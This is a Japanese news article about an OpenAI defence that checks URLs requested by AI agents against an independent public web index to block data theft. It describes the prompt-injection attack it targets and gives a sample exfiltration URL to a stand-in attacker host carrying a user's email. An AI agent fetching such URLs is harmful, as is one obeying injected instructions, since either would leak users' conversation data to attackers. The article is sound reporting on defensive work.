OpenAI、AIエージェントによるデータ窃取に対抗するウェブインデックス防御を展開

Alvin Lang 2026/3/3 20:15

OpenAIは、ChatGPTおよびエージェント型AIシステムからのURLベースのデータ流出を防ぐため、独立したウェブインデックスを使用した新しいセキュリティーアーキテクチャを発表しました。

OpenAI、AIエージェントによるデータ窃取に対抗するウェブインデックス防御を展開

OpenAIは、AIエージェントがURLを通じてユーザーデータを静かに漏洩させることを防ぐための技術的アプローチを詳述しました。これは、自律型AIシステムがウェブブラウジング機能を獲得するにつれて、ますます重要になってきた脆弱性クラスです。同社のソリューションは、リクエストされたURLを、ユーザーの会話に一切アクセスできない独立したウェブインデックスと照合することに依存しています。

この脅威は単純ですが陰険です。AIエージェントがURLを読み込むと、そのリクエストは宛先サーバーによってログに記録されます。プロンプトインジェクションを使用する攻撃者は、エージェントを操作してhttps://attacker.example/collect?data=your_email@domain.comのようなものを取得させる可能性があります。これは埋め込み画像の読み込みなど、静かに行われるため、ユーザーは気づかないかもしれません。

許可リストが失敗した理由

OpenAIは、信頼できるドメインをホワイトリスト化するという明白な修正を明示的に却下しました。2つの問題があります。正規のサイトはリダイレクトをサポートしており、トラフィックを悪意のある宛先に転送できること、そして厳格なリストは摩擦を生み、ユーザーが無意識に警告をクリックするように訓練されることです。

代わりに、同社は起源チェックに相当するものを構築しました。彼らの独立したウェブクローラーは、検索エンジンと同じ方法で公開URLを発見します。つまり、ユーザーデータとの接続なしにオープンウェブをスキャンします。エージェントがURLを取得しようとすると、システムはその正確なアドレスが既に公開インデックスに存在するかどうかをチェックします。

一致する場合、自動読み込みが進行します。そうでない場合、ユーザーには警告が表示されます。「リンクは認証されていません。会話からの情報が含まれている可能性があります。」

より広範なセキュリティー推進の一環

この開示は、OpenAIが2月に高リスクのエージェント機能を無効にする「ロックダウンモード」と外部リンク用の「リスク上昇」ラベルシステムを導入したことに続くものです。Amazon、Nvidia、SoftBankが関与した3月初旬の資金調達ラウンドで8400億ドルの評価を得たばかりの同社は、2025年末にセキュリティー研究者がデータ流出攻撃の成功を実証して以来、積極的に脆弱性を修正しています。

OpenAIは制限を明確に認めています。これらの保護手段はページコンテンツが信頼できることを保証せず、ソーシャルエンジニアリングを阻止せず、すべてのプロンプトインジェクションを防ぐことはできません。同社はこれを「より広範な多層防御戦略における1つの層」として位置づけ、エージェントセキュリティーを解決された問題ではなく、継続的なエンジニアリング問題として扱っています。

OpenAIのAPIを使用して開発している開発者や、エージェントシステムを展開している企業にとって、この発表に付随する技術論文は検討する価値のある実装詳細を提供しています。公開URL認証がデータセキュリティーの代理として機能できるという中核的な洞察は、業界がますます自律的なAIエージェントを保護するために取り組む中で、OpenAIのエコシステムを超えて適用可能であることが証明されるかもしれません。

画像出典：Shutterstock